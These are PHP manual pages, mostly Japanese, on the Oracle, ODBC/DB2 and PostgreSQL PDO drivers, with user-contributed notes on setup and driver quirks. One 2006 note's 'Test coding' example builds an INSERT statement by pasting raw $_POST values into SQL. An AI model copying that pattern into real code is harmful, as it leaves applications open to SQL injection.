Whe I try connect the server returns the error: "SQLSTATE[HY000]: pdo_oci_handle_factory: ORA-12560: TNS:erro de adaptador de protocolo (ext\pdo_oci\oci_driver.c:579)"

Too fix it, I used that:

 $conn = new PDO("oci:dbname=DBNAME;host=NN.NN.NN.NNN",'USER','PASSWORD');

eg:

 $conn = new PDO("oci:dbname=DB_FOO;host=10.10.48.245",'FOO','Foo%&5b');
sebastian dot la dot spina at gmail dot com 09-Jan-2014 09:03
For Red hat 6, 64bits, client 11.2,
After touch config.m4 and tune up libs symlinks..
I get a compilation error "pdo_oci.c:34: error: expected '=', ',', ';', 'asm' or '__attribute__' before 'pdo_oci_functions'"
To solve it just change function_entry to zend_function_entry @pdo_oci.c file.

:)
paul dot pratt at atmel dot com 10-Jun-2013 10:45
Is PHP-to-Oracle much slower  than Php-to-MySql ?  I have battled my way through a conversion of Php4/MySql to Php5/Oracle (stumbling over Clobs and php5-variable-initialization).   Everything works, but...
  Querys that took 8 seconds in MySql, now take 3 mintues with Oracle.  Yes, I have indexes on the Oracle tables.  Are Oracle connections that much more expensive than MySql? I did use oci_pconnect.
php at ideacode dot com 13-Oct-2011 07:28
If you're getting the "I'm too dumb to find oci.h" error, try creating a variety of paths.  One variety uses just the major and minor of your OIC version (eg, 11.2 for 11.2.0.2) and another variety uses client64 as well as client.

Something like this (for 11.2.0.2):
ln -s /usr/include/oracle/11.2.0.2/ /usr/include/oracle/11.2
ln -s /usr/include/oracle/11.2/client /usr/include/oracle/11.2/client64
ln -s /usr/lib/oracle/11.2.0.2/ /usr/lib/oracle/11.2
ln -s /usr/lib/oracle/11.2/client /usr/lib/oracle/11.2/client64

This should cover your bases for 64-bit systems, as well as PHP patched to use the major.minor version number only.  See also PHP bug #44989.
redlorry919 at gmail dot com 10-Jun-2011 03:15
Take note of the note at the top, this really is an experimental extension. I had a problem trying to read data from Oracle which resulted in some strange behaviour in PHP. i.e. foreach loops not ending, with no error messages. I also managed to get the data from Oracle into an array in PHP, but then couldn't return the array from a function.

After pulling my hair out for a day, it turned out to be a CLOB column in Oracle that caused the strange behaviour in PHP. I assume this extension doesn't fully support them.

Instead I've typecast it within the SQL to a VARCHAR2 which seems to resolve it:

SELECT CAST(columnx AS VARCHAR2(4000)) AS columnx ...

It might help someone else having similar issues.
geompse at gmail dot com 27-Jun-2010 09:49
Notice the red block at the beginning of this page... pdo_oci is HIGHLY experimental.

Even though it is under dev from 2004, it lakes today support for things that _do_ matters :
 - bind a varchar2 of 3500 chars
 - get selected metas
 - left join with blobs/clobs
 - etc.

For the story, since we use pdo_pgsql in our software, I thought it would be viable to use pdo_oci for running under Oracle. After a long battle, I finally won :

1) If requested driver has a non-experimental pdo version available, use it.
2) else (well, for pdo_oci at least), use an abstraction layer of your own.
3) you're done.

What I did in more details...

2 "main" classes for being compliant with "$obj instanceof PDO" or such :
 - class PhpDb extends PDO
 - class PhpDbStatement extends PDOStatement
2 "abstract" classes that defines what PDO actually does :
 - abstract class PhpDbAbstract
 - abstract class PhpDbAbstractStatement
And at last for each driver, 2 classes doing the abstraction :
 - class PhpDbDriverOracle extends PhpDbAbstract
 - class PhpDbDriverOracleStatement extends PhpDbAbstractStatement

"main" classes are accessed from your script, simply replace "new PDO" with "new PhpDb".
"abstract" classes are mainly there for the documentation :p
"driver" classes do the job in background, they are instances by the main classes.

My PhpDb will be in an open source project sooner or later, search google or mail me !
av01 at bugfix dot cc 03-Apr-2010 08:57
In order to get this compiled on my CentOS 5.4 x86_64 box, I had to do some extra settings that might be useful for others:

Install oracle-instantclient11.2-basic and oracle-instantclient11.2-devel RPMs from Oracle

Create some symbolic links because configure contains some outdated assumptions about path names and doesn't care about 64-bit systems:
ln -s /usr/lib/oracle/11.2/client64 /usr/lib/oracle/11.2/client
ln -s /usr/include/oracle/11.2/client64  /usr/lib/oracle/11.2/client/include

Add the following to your configure command:
--with-pdo-oci=shared,instantclient,/usr,11.2
sixd at php dot net 26-Jun-2009 11:53
From the PHP 5.3 UPGRADING file:

- The PDO_OCI php_pdo_oci8.dll library (for use with Oracle version 8 client
  libraries) is no longer being built [with PHP 5.3]. Instead, use php_pdo_oci.dll (note no
  '8') with Oracle 10 or 11 client libraries. Connection to other database
  versions is still supported.
fernando dot wendt at gmail dot com 20-Jan-2009 05:18
To enable PDO support on PHP for Oracle Instant Client 11.1.x, you should follow the syntax above in the compile command, just as pointed by Andrew http://bugs.php.net/bug.php?id=39312, taking by default you have installed the OIC at /usr/lib/oracle (instant client and sdk at subfolder):

./configure --with-oci8=shared,instantclient,/usr/lib/oracle
--with-pdo-oci=instantclient,/usr/lib/oracle,11.1

Just saying your release version from the Oracle OIC.

It compiles fine then.

Best regards.
ken at xpressconnex dot com 05-Feb-2008 08:17
Wow, cursade.  That's a lot of typing to use the lite client.

Try this:

$db = '//hostname/servicename'; //e.g. '//192.168.1.1/orcl'
$user = 'username';
$pass = 'password';

$conn = new PDO($db,$user,$pass);
moc.aciremi@yvelj 01-Jun-2006 12:25
A Statement of Warning:

PDO::oci does not support REF CURSORS.

This is mentioned nowhere (until now!) on this page.

And now you know!

If you want ref cursors avoid PDO for now.

My Reference for this claim:
http://www.oracle.com/technology/pub/articles/
php_experts/otn_pdo_oracle5.html

GREAT article, excellent piece, really. It's not clear to me
how old this document is, but it must have some dust on it,
given it's references to "PHP5.1 ...' which is a little way off yet' "
... as of 2006-06-01, PHP5.1 has been with us for quite some time.
cursade at hotmail dot com 20-Apr-2006 11:29
if oracle and oracle instant client has been installed,
without db in the same host

For UNIX/LINUX，set $LD_LIBRARY_PATH
appent your instant client path  and  client/lib path to it,

For windows set PATH like this

After set the path ,set TNS_ADMIN everioment ,point to
where  tnsnames.ora located.

Then,you can use service name to connect to your Database

Test coding

<?php
$param = $_POST;
$db_username = "youusername";
$db_password = "yourpassword";
$db = "oci:dbname=yoursid";
$conn = new PDO($db,$db_username,$db_password);
$name = $param['module'];
$file = $param['file'];
$stmt = $conn->exec("INSERT INTO AL_MODULE (AL_MODULENAME, AL_MODULEFILE) VALUES ('$name', '$file')");

?>
cursade at hotmail dot com 20-Apr-2006 02:43
If instant client has been installed but the full oracle client
not yet ,you can use pdo to connect to oracle database
like following coding:

<?php
$tns = "
(DESCRIPTION =
    (ADDRESS_LIST =
      (ADDRESS = (PROTOCOL = TCP)(HOST = yourip)(PORT = 1521))
    )
    (CONNECT_DATA =
      (SERVICE_NAME = orcl)
    )
  )
       ";
$db_username = "youname";
$db_password = "yourpassword";
try{
    $conn = new PDO("oci:dbname=".$tns,$db_username,$db_password);
}catch(PDOException $e){
    echo ($e->getMessage());
}
?>


Oracle データベースに接続する

  • ≪ Oracle (PDO)
  • ODBC and DB2 (PDO) ≫
  • PHP Manual
  • Oracle (PDO)
  • Oracle データベースに接続する

PDO_OCI DSN

(PECL PDO_OCI >= 0.1.0)

PDO_OCI DSN — Oracle データベースに接続する

説明

PDO_OCI データソース名 (DSN) は以下の要素で構成されます:

DSN 接頭辞

DSN 接頭辞は oci: です。

dbname (Oracle Instant Client)

Oracle Instant Client 接続に対する URI は dbname=//hostname:port-number/database のような形式です。 もし tnsnames.ora で定義されたデータベースに接続する場合は、データベース名のみを使用して dbname=database とします。

charset

現在の環境ハンドルにおける、クライアント側の文字セットです。

例

例1 PDO_OCI DSN の例

以下の例は、Oracle データベースに接続するための PDO_OCI DSN を表します:

// tnsnames.ora で定義したデータベースに接続します
oci:dbname=mydb

// Oracle Instant Client を使用して接続します
oci:dbname=//localhost:1521/mydb

User Contributed Notes

Alexander Ashurkoff 26-Feb-2007 02:20
If you want to use PDO_OCI and get proper russian windows-1251 codepage, just add charset=CL8MSWIN1251 to your DSN.

example:
<?php
$dbc = new PDO('oci:dbname=192.168.10.145/orcl;charset=CL8MSWIN1251', 'username', 'password');
?>

Аlso setting apache/registry/system environment variable NLS_LANG to RUSSIAN_CIS.CL8MSWIN1251 may helps you.
Helpful User 11-Oct-2006 05:59
If you get the error: TNS: could not resolve service name

Remember that the PDO wants to use the default client, which will only use the tnsnames.ora in %ORACLE_HOME%\network\admin. Check that file and make sure your service is defined in there.

BTW, there is a bug with pdo_oci8 with 9i - don't use it. Make sure you just use pdo_oci.dll.


ODBC および DB2 関数 (PDO_ODBC)

はじめに

PDO_ODBC は PHP Data Objects (PDO) インターフェイスを実装したドライバで、 PHP から ODBC ドライバあるいは IBM DB2 Call Level Interface (DB2 CLI) ライブラリを使用した データベースへのアクセスが可能となります。 PDO_ODBC は、現在 3 種類のデータベースドライバをサポートしています。

ibm-db2

フリーの DB2 express-C クライアントを使用した、 IBM DB2 Universal Database、Cloudscape および Apache Derby サーバーへのアクセスをサポートします。

unixODBC

unixODBC ドライバマネージャおよびデータベースごとの ODBC ドライバを使用した、データベースサーバーへのアクセスをサポートします。

generic

PDO_ODBC が明示的にサポートしていない ODBC ドライバマネージャのためのコンパイルオプションを提供します。

Windows では、php_pdo_odbc.dll をエクステンションとして php.ini で有効にする必要があります。 これは Windows ODBC ドライバマネージャに対してリンクされており、 システムの DSN に登録されているあらゆるデータベースに対して PHP から接続することができます。Microsoft SQL Server データベースに接続する際には、このドライバの使用を推奨します。

インストール手順

UNIX システムでの PDO_ODBC

  1. PHP 5.1 では、PDO_ODBC は PHP ソースの中に含まれています。 PDO_ODBC 拡張モジュールを静的モジュールあるいは共有モジュールとして コンパイルするには次のような configure コマンドを実行します。

    ibm_db2

    ./configure --with-pdo-odbc=ibm-db2,/opt/IBM/db2/V8.1/
    PDO_ODBC を ibm-db2 形式でビルドするには、PDO_ODBC をコンパイルするのと同じマシンに DB2 アプリケーション開発用ヘッダが インストールされていなければなりません。DB2 アプリケーション開発ヘッダは DB2 サーバーのインストールオプションに 含まれており、また IBM developerWorks の » Web サイト からフリーでダウンロードできる DB2 Application Development Client にも含まれています。

    configure コマンドに DB2 ライブラリおよび ヘッダの場所を指定しなかった場合は、PDO_ODBC はデフォルトとして /home/db2inst1/sqllib を使用します。

    unixODBC

    ./configure --with-pdo-odbc=unixODBC,/usr/local
    configure コマンドに unixODBC ライブラリおよび ヘッダの場所を指定しなかった場合は、PDO_ODBC はデフォルトとして /usr/local を使用します。

    generic
    ./configure --with-pdo-odbc=generic,/usr/local,libname,ldflags,cflags

定義済み定数

このドライバでは以下の定数が定義されて います。これは拡張モジュールが PHP に組み込まれているか、実行時に動的にロード されている場合のみ使用可能です。さらに、これらのドライバ固有の定数は そのドライバを使用している場合にのみ使用されます。 あるドライバ固有の属性を別のドライバで使うと、予期せぬ結果を引き起こします。 もし複数のドライバを使用しているコードを実行している場合、 PDO::getAttribute() で PDO::ATTR_DRIVER_NAME 属性を使用することで、使用中のドライバ名を調べることが可能です。

PDO::ODBC_ATTR_USE_CURSOR_LIBRARY (int)

このオプションは、ODBC のカーソルライブラリが使うかを制御します。 ODBC カーソルライブラリは、ドライバが実装していない高度なODBCの機能 (例: スクロール可能なブロックカーソル) をいくつかサポートします。 サポートしている値は以下の通りです:

  • PDO::ODBC_SQL_USE_IF_NEEDED (デフォルト): ODBC カーソルライブラリを必要な時に使います。

  • PDO::ODBC_SQL_USE_DRIVER: ODBC カーソルライブラリを使いません。

  • PDO::ODBC_SQL_USE_ODBC: ODBC カーソルライブラリを常に使います。

PDO::ODBC_ATTR_ASSUME_UTF8 (bool)

Windows のみ有効です。 true の場合、UTF-16 でエンコードされた文字データ( CHAR, VARCHAR, LONGVARCHAR) を データベースから読み取ったり、書き込んだりする際に UTF-8 に変換します。 false の場合(デフォルト)、エンコーディングの変換は行われません。

実行時設定

php.ini の設定により動作が変化します。

PDO_ODBC 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
pdo_odbc.connection_pooling | "strict" | PHP_INI_ALL | PHP 5.1.0 以降で使用可能です。
pdo_odbc.db2_instance_name | NULL | PHP_INI_SYSTEM | PHP 5.1.1 以降で使用可能です。この非推奨の機能は、きっと 将来 削除 されるでしょう。
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

pdo_odbc.connection_pooling string

ODBC 接続のプール方法を指定します。"strict"、"relaxed" あるいは "off" ("" と同じ) のいずれかです。このパラメータは、 プールされている既存の接続との比較をどの程度厳密に行うのかを 接続マネージャに指定します。 strict は推奨されているデフォルト設定で、 接続パラメータが完全に一致する場合にのみ既存の接続を使用します。 relaxed は、接続パラメータが似ている場合に 既存の接続を使用します。これはキャッシュの再利用率を高めますが、 (例えば) 仮想ホスト間での接続情報がおかしくなってしまう恐れがあります。

この設定は php.ini ファイルでのみ変更可能で、 その内容はプロセス全体に影響します。同じ ODBC ライブラリを使用している すべてのモジュール、たとえば Unified ODBC 拡張モジュール などが影響を受けます。

警告

relaxed を共有サーバーで使用してはいけません。 これはセキュリティの問題があるためです。

ヒント

どうしても変更する必要がない限り、この設定はデフォルトの strict のままにしておきましょう。

pdo_odbc.db2_instance_name string

db2 方式で PDO_ODBC をコンパイルした場合、 Linux および UNIX 上で DB2 インスタンスを指定するための環境変数 DB2INSTANCE の値を設定します。これによって PDO_ODBC が DB2 ライブラリの場所を見つけられるようになり、 DB2 データベースへのカタログ接続が可能になります。

この設定は php.ini ファイルでのみ変更可能で、 その内容はプロセス全体に影響します。同じ ODBC ライブラリを使用している すべてのモジュール、たとえば Unified ODBC 拡張モジュール などが影響を受けます。

この設定は、Windows 上では何の意味も持ちません。

目次

  • PDO_ODBC DSN — ODBC あるいは DB2 データベースに接続する

User Contributed Notes

ChristianF 26-Jan-2016 11:03
I just spent a couple of hours trying to track down the Exception "Could not find driver". This was despite having ODBC and PDO_ODBC installed, and all of the configuration seemed to be correct.

Turned out the problem was that I used ODBC in upper-case in the dsn. As soon as I changed the dns to "odbc:database" it worked.

As this code used to work a few months ago, this sudden case-sensitivity threw me for a loop. So in case you get this error, check the casing first.
Ariz Jacinto 09-Jan-2012 01:50
Using SQL Server Native Client 11.0 on Linux as a PDO_ODBC driver:

Download the SQL Server Native Client 11.0 on Linux ODBC Driver:
http://www.microsoft.com/download/en/details.aspx?id=28160

Configuration ODBC:

/usr/local/etc/odbcsys.ini
--
[SQL Server Native Client 11.0]
Description = Microsoft SQL Server ODBC Driver V1.0 for Linux
Driver = /opt/microsoft/sqlncli/lib64/libsqlncli-11.0.so.1720.0
UsageCount = 1

/usr/local/etc/odbc.ini
--
[MSSQLServer]
Driver = SQL Server Native Client 11.0
Description = Sample Database
Trace = Yes
Server =
Port = 1433
Database =

Test the connection:
mssqltest.php
--
<?php
    putenv('ODBCSYSINI=/usr/local/etc');
    putenv('ODBCINI=/usr/local/etc/odbc.ini');
    $username = "";
    $password = "";
    try {
      $dbh = new PDO("odbc:MSSQLServer",
                    "$username",
                    "$password"
                   );
    } catch (PDOException $exception) {
      echo $exception->getMessage();
      exit;
    }
    echo var_dump($dbh);
    unset($dbh);
?>
harry dot forum at p-boss dot com 02-Jul-2010 04:03
MSSQL - PHP on Apache - Linux Redhat

When using php 5.2.10 please beaware of this error:

http://bugs.php.net/bug.php?id=42068

Standard odbc_connect will not work, you must use pdo_odbc

Connecting to MSSQL using pdo odbc - walkthrough..

1. Download and configure FreeTDS with-unixodbc

./configure --prefix=/opt/SYSfreetds --with-unixodbc

make;make test; make install

2. install php-odbc and unixODBC

         php-odbc-5.2.10-1.x86_64.rpm
         unixODBC.x86_64.x86x64

3. Setup ODBC links

a)
Create a tds.driver file with the following contents

  [FreeTDS]
  Description     = v0.63 with protocol v8.0
  Driver          = /opt/SYSfreetds/lib/libtdsodbc.so

Register the ODBC driver - the tds.driver file

  odbcinst -i -d -f tds.driver

b)
Creating a tds.datasource file - ODBC Data Source with contents:

  [SOURCENAME]
  Driver=FreeTDS
  Description=Test MS SQL Database with FreeTDS
  Trace=No
  Server=BobTheServer
  Port=1433
  TDS Version=8.0
  Database=youDBname

Register the ODBC data source

  odbcinst -i -s -f tds.datasource

Beware that the odbc.ini file will be installed in the current users home directory. This may need to be used if you are using a webserver as the apache home directory could be different.

Ensure .odbc.ini is in apaches home directory, possibly "/var/www"

4. Test the ODBC link on the command line

  isql -v SOURCENAME 'username' 'password'

  +---------------------------------------+
  | Connected!                            |
  |                                       |
  | sql-statement                         |
  | help [tablename]                      |
  | quit                                  |
  |                                       |
  +---------------------------------------+
 SQL>

5. Edit /etc/php.ini

  Make sure the following is set:
     mssql.secure_connection = On

6. Restart apache gracefully

7. PHP to run:

  <?
  $dbh= new PDO('odbc:SOURCENAME', 'username', 'password');
  $stmt = $dbh->prepare("$query");
  $stmt->execute();
  while ($row = $stmt->fetch()) {
      print_r($row);
  }
  unset($dbh); unset($stmt);
  ?>

Trouble-shooting:

Please try strace/ truss if you encounter issues. It could be you are referencing wrong libraries somewhere.

Ensure you have restarted apache once the odbc files are in place
tuomas 21-Sep-2009 12:11
If you want to avoid installing DB2 Connect and/or PECL modules ibm_db2 and PDO_IBM, you can also use IBM DB2 databases trough unixODBC.

If you have DB2 database on a i server you need to install IBM iAccess (http://www.ibm.com/systems/i/software/access/linux/index.html) and unixODBC. Just install the libraries (rpm) and modify configurations in /etc/odbcinst.ini (sample configuration in /opt/ibm/iSeriesAccess/unixodbcregistration) and /etc/odbc.ini.

To my experience this is much easier way than installing DB2 Connect.
ethan dot nelson at ltd dot org 29-Feb-2008 02:15
Using SQL 2005, PDO_ODBC and datetime fields is a royal pain.  MSDN documentation on CAST CONVERT shows that there is supposed to be an implicit convert between character types and datetime types.  That's true... until you put it in a stored procedure and use variable declarations.

For instance this fails:

declare @date varchar;
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

While this succeeds:
declare @date varchar(19);
SET @date = '20080101';
SELECT cast(@date AS datetime) AS poo

The PDO Driver appears to attempt an implicit conversion and so it fails whenever you try to insert data into datetime column types.

So to workaround this nuance in SQL, declare a character column type with explicit width.  Then your implicit type conversion will work.


ODBC あるいは DB2 データベースに接続する

  • ≪ ODBC and DB2 (PDO)
  • PostgreSQL (PDO) ≫
  • PHP Manual
  • ODBC and DB2 (PDO)
  • ODBC あるいは DB2 データベースに接続する

PDO_ODBC DSN

(PECL PDO_ODBC >= 0.1.0)

PDO_ODBC DSN — ODBC あるいは DB2 データベースに接続する

説明

PDO_ODBC データソース名 (DSN) は以下の要素で構成されます。

DSN 接頭辞

DSN 接頭辞は odbc: です。 ODBC ドライバマネージャや DB2 カタログに登録されている データベースに接続する際には、登録されている名前を DSN に追加することができます。

DSN

ODBC ドライバマネージャあるいは DB2 カタログに登録されている データベース名を指定します。それ以外の方法として、 » http://www.connectionstrings.com/ で説明されている完全な ODBC 接続文字列を使用して データベースに接続することもできます。

UID

接続に使用するユーザーの名前を指定します。DSN と同じユーザー名を指定した場合は、PDO はコンストラクタの引数で指定された ユーザー名を無視します。

PWD

接続するユーザーのパスワードを指定します。DSN と同じパスワードを指定した場合は、PDO はコンストラクタの引数で指定された パスワードを無視します。

例

例1 PDO_ODBC DSN の例 (ODBC ドライバマネージャ)

以下の例は、ODBC ドライバマネージャで testdb として登録されている ODBC データベースに接続するための PDO_ODBC DSN を表します。

odbc:testdb

例2 PDO_ODBC DSN の例 (IBM DB2 非カタログ接続)

以下の例は、完全な ODBC DSN 構文を使用して SAMPLE という名前の IBM DB2 データベースに接続するための PDO_ODBC DSN を表します。

odbc:DRIVER={IBM DB2 ODBC DRIVER};HOSTNAME=localhost;PORT=50000;DATABASE=SAMPLE;PROTOCOL=TCPIP;UID=db2inst1;PWD=ibmdb2;

例3 PDO_ODBC DSN の例 (Microsoft Access 非カタログ接続)

以下の例は、完全な ODBC DSN 構文を使用して C:\db.mdb にある Microsoft Access データベースに接続するための PDO_ODBC DSN を表します。

odbc:Driver={Microsoft Access Driver (*.mdb)};Dbq=C:\\db.mdb;Uid=Admin

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL 関数 (PDO_PGSQL)

はじめに

PDO_PGSQL は、PHP から PostgreSQL データベースへのアクセスを可能にするための PHP Data Objects (PDO) インターフェイス を実装したドライバです。

リソース型

この拡張モジュールでは、ストリームリソースを定義しています。これは PDO::pgsqlLOBOpen() が返すものです。

インストール手順

--with-pdo-pgsql[=DIR] で PDO PostgreSQL 拡張モジュールをインストールします。オプションの [=DIR] には、PostgreSQL の基底インストールディレクトリあるいは pg_config へのパスを指定することができます。

$ ./configure --with-pdo-pgsql

目次

  • PDO_PGSQL DSN — PostgreSQL データベースに接続する
  • PDO::pgsqlCopyFromArray — PHP の配列から、データをテーブルにコピーする
  • PDO::pgsqlCopyFromFile — ファイルからデータをテーブルにコピーする
  • PDO::pgsqlCopyToArray — データベーステーブルからのデータをPHPの配列にコピーする
  • PDO::pgsqlCopyToFile — テーブルからのデータをファイルにコピーする
  • PDO::pgsqlGetNotify — 非同期に通知を取得する
  • PDO::pgsqlGetPid — サーバのPIDを取得する
  • PDO::pgsqlLOBCreate — 新しいラージオブジェクトを作成する
  • PDO::pgsqlLOBOpen — 既存のラージオブジェクトのストリームをオープンする
  • PDO::pgsqlLOBUnlink — ラージオブジェクトを削除する

User Contributed Notes

There are no user contributed notes for this page.


PostgreSQL データベースに接続する

  • ≪ PostgreSQL (PDO)
  • PDO::pgsqlCopyFromArray ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • PostgreSQL データベースに接続する

PDO_PGSQL DSN

(PHP 5 >= 5.1.0, PHP 7, PECL PDO_PGSQL >= 0.1.0)

PDO_PGSQL DSN — PostgreSQL データベースに接続する

説明

PDO_PGSQL データソース名 (DSN) は以下の要素で構成され、 スペースあるいはセミコロンで区切られます:

DSN 接頭辞

DSN 接頭辞は pgsql: です。

host

データベースサーバーが存在するホスト名を指定します。

port

データベースサーバーが起動しているポートを指定します。

dbname

データベース名を指定します。

user

接続するユーザー名を指定します。もし DSN でユーザー名を指定する場合、 PDO は PDO コンストラクタにおけるユーザー名引数の値を無視します。

password

接続するユーザーのパスワードを指定します。もし DSN でパスワードを指定する場合、 PDO は PDO コンストラクタにおけるパスワード引数の値を無視します。

注意:

bytea フィールドはストリームとして返されます。

例

例1 PDO_PGSQL DSN の例

以下の例は、PostgreSQL データベースに接続するための PDO_PGSQL DSN を表します:

pgsql:host=localhost;port=5432;dbname=testdb;user=bruce;password=mypass

User Contributed Notes

There are no user contributed notes for this page.


PHP の配列から、データをテーブルにコピーする

  • ≪ PDO_PGSQL DSN
  • PDO::pgsqlCopyFromFile ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • PHP の配列から、データをテーブルにコピーする

PDO::pgsqlCopyFromArray

(PHP 5 >= 5.3.3, PHP 7)

PDO::pgsqlCopyFromArray — PHP の配列から、データをテーブルにコピーする

説明

public PDO::pgsqlCopyFromArray ( string $table_name , array $rows , string $delimiter = '\t' , string $null_as = "\\\\N" , string $fields = ? ) : bool

rows 配列からデータをテーブル table_name にコピーします。 その際、delimiter をフィールドのデリミタ、そして fields のリストを使います。

パラメータ

table_name

テーブル名を含む文字列

rows

delimiter で区切られたフィールドの文字列の配列

delimiter

rows 配列で使われているデリミタ

null_as

どのように null 値を扱うかを指定します

fields

挿入するフィールドの一覧

返り値

成功したら true を返します。 失敗した場合に false を返します

User Contributed Notes

Anonymous 09-Sep-2015 04:05
If your $nullAs is '\\N', then you should use $nullAs as is in concatenation of cells of $rows, but send to pgsqlCopyFromArray() escaped version. Also fifth arg $fields should be a SQL-valid string for the column_names placeholder in COPY statement of PostgreSQL.

I provide my smart wrapper for pgsqlCopyFromArray() which do this automatically.

<?php
/**
 *
 * @param PDO $db
 * @param string $tableName
 * @param string[] $fields List of fields names.
 * @param array[] $records Two-demension array of cells (array of rows).
 * @return boolean
 */
function pgInsertByCopy (PDO $db, $tableName, array $fields, array $records) {
    static $delimiter = "\t", $nullAs = '\\N';

    $rows = [];

    foreach ($records as $record) {
        $record = array_map(
                function  ($field) use( $record, $delimiter, $nullAs) {
                    $value = array_key_exists($field, $record) ? $record[$field] : null;

                    if (is_null($value)) {
                        $value = $nullAs;
                    } elseif (is_bool($value)) {
                        $value = $value ? 't' : 'f';
                    }

                    $value = str_replace($delimiter, ' ', $value);
                    // Convert multiline text to one line.
                    $value = addcslashes($value, "\0..\37");

                    return $value;
                }, $fields);
        $rows[] = implode($delimiter, $record) . "\n";
    }

    return $db->pgsqlCopyFromArray($tableName, $rows, $delimiter, addslashes($nullAs), implode(',', $fields));
}
?>


ファイルからデータをテーブルにコピーする

  • ≪ PDO::pgsqlCopyFromArray
  • PDO::pgsqlCopyToArray ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • ファイルからデータをテーブルにコピーする

PDO::pgsqlCopyFromFile

(PHP 5 >= 5.3.3, PHP 7)

PDO::pgsqlCopyFromFile — ファイルからデータをテーブルにコピーする

説明

public PDO::pgsqlCopyFromFile ( string $table_name , string $filename , string $delimiter = '\t' , string $null_as = "\\\\N" , string $fields = ? ) : bool

filename で指定されたファイルからデータをテーブル table_name にコピーします。 その際、delimiter をフィールドのデリミタ、そして fields のリストを使います。

パラメータ

table_name

テーブル名を含む文字列

filename

インポートするデータを含むファイル名

delimiter

filename で指定されたファイルで使われているデリミタ

null_as

どのように null 値を扱うかを指定します

fields

挿入するフィールドの一覧

返り値

成功したら true を返します。 失敗した場合に false を返します

User Contributed Notes

There are no user contributed notes for this page.


データベーステーブルからのデータをPHPの配列にコピーする

  • ≪ PDO::pgsqlCopyFromFile
  • PDO::pgsqlCopyToFile ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • データベーステーブルからのデータをPHPの配列にコピーする

PDO::pgsqlCopyToArray

(PHP 5 >= 5.3.3, PHP 7)

PDO::pgsqlCopyToArray — データベーステーブルからのデータをPHPの配列にコピーする

説明

public PDO::pgsqlCopyToArray ( string $table_name , string $delimiter = '\t' , string $null_as = "\\\\N" , string $fields = ? ) : array|false

table からのデータを配列にコピーします。 その際、delimiter をフィールドのデリミタ、そして fields のリストを使います。

パラメータ

table_name

テーブル名を含む文字列

delimiter

列で使われるデリミタ

null_as

どのように null 値を扱うかを指定します

fields

エクスポートするフィールドの一覧

返り値

行の配列を返します。 失敗した場合に false を返します

User Contributed Notes

Hayley Watson 06-Sep-2018 04:23
The "rows" returned are strings, (hence the delimiter parameters for separating fields). They're not parsed into PHP arrays, so this isn't a substitute for $connection->query('SELECT * FROM table_name')->fetchAll().

Only the first character of $delimiter is used. Characters that may be used are those <32 except "\r", "\n" and NUL (chr(0)); anything from !"#$%&'()*+,-./:;<=>?@ABCDEFGHIJKMOPQRSTVWXYZ[]^_`{|}~, and DEL (chr(127)) (yes, upper-case letters are allowed, but lower-case ones are not).

Also, the $fields argument is a comma-separated list of the desired columns.


テーブルからのデータをファイルにコピーする

  • ≪ PDO::pgsqlCopyToArray
  • PDO::pgsqlGetNotify ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • テーブルからのデータをファイルにコピーする

PDO::pgsqlCopyToFile

(PHP 5 >= 5.3.3, PHP 7)

PDO::pgsqlCopyToFile — テーブルからのデータをファイルにコピーする

説明

public PDO::pgsqlCopyToFile ( string $table_name , string $filename , string $delimiter = '\t' , string $null_as = "\\\\N" , string $fields = ? ) : bool

filename で指定されたファイルに、テーブルからデータをコピーします。 その際、delimiter をフィールドのデリミタ、そして fields のリストを使います。

パラメータ

table_name

テーブル名を含む文字列

filename

エキスポートするファイル名

delimiter

filename で指定されたファイルで使われているデリミタ

null_as

どのように null 値を扱うかを指定します

fields

挿入するフィールドの一覧

返り値

成功したら true を返します。 失敗した場合に false を返します

User Contributed Notes

There are no user contributed notes for this page.


非同期に通知を取得する

  • ≪ PDO::pgsqlCopyToFile
  • PDO::pgsqlGetPid ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • 非同期に通知を取得する

PDO::pgsqlGetNotify

(PHP 5 >= 5.6.0, PHP 7)

PDO::pgsqlGetNotify — 非同期に通知を取得する

説明

public PDO::pgsqlGetNotify ( int $result_type = PDO::FETCH_USE_DEFAULT , int $ms_timeout = 0 ) : array

保留中の非同期な通知を示す結果セットを返します。

パラメータ

result_type

結果セットを返すフォーマット。 PDO::FETCH_* 定数で表現します。

ms_timeout

レスポンスを待つ時間の長さ。ミリ秒で指定します。

返り値

ひとつ以上の通知が保留中だった場合、 message と pid のフィールドが入った一行を返します。 そうでなければ false を返します。

User Contributed Notes

There are no user contributed notes for this page.


サーバのPIDを取得する

  • ≪ PDO::pgsqlGetNotify
  • PDO::pgsqlLOBCreate ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • サーバのPIDを取得する

PDO::pgsqlGetPid

(PHP 5 >= 5.6.0, PHP 7)

PDO::pgsqlGetPid — サーバのPIDを取得する

説明

public PDO::pgsqlGetPid ( ) : int

サーバのPIDを返します。

返り値

サーバのPIDを返します。

User Contributed Notes

There are no user contributed notes for this page.


新しいラージオブジェクトを作成する

  • ≪ PDO::pgsqlGetPid
  • PDO::pgsqlLOBOpen ≫
  • PHP Manual
  • PostgreSQL (PDO)
  • 新しいラージオブジェクトを作成する

PDO::pgsqlLOBCreate

(PHP 5 >= 5.1.2, PHP 7, PECL pdo_pgsql >= 1.0.2)

PDO::pgsqlLOBCreate — 新しいラージオブジェクトを作成する

説明

public PDO::pgsqlLOBCreate ( ) : string

PDO::pgsqlLOBCreate() は、 ラージオブジェクトを作成してその OID を返します。 このオブジェクトに対するデータの読み書きを行う際には、 PDO::pgsqlLOBOpen() を使用してストリームをオープンします。 OID は OID 型のカラムに格納され、ラージオブジェクトを参照するために使用されます。 これにより、行のサイズがどんどん拡大してしまうことを防ぎます。 PDO::pgsqlLOBUnlink() をコールして削除するまで、 ラージオブジェクトはデータベース内に残り続けます。

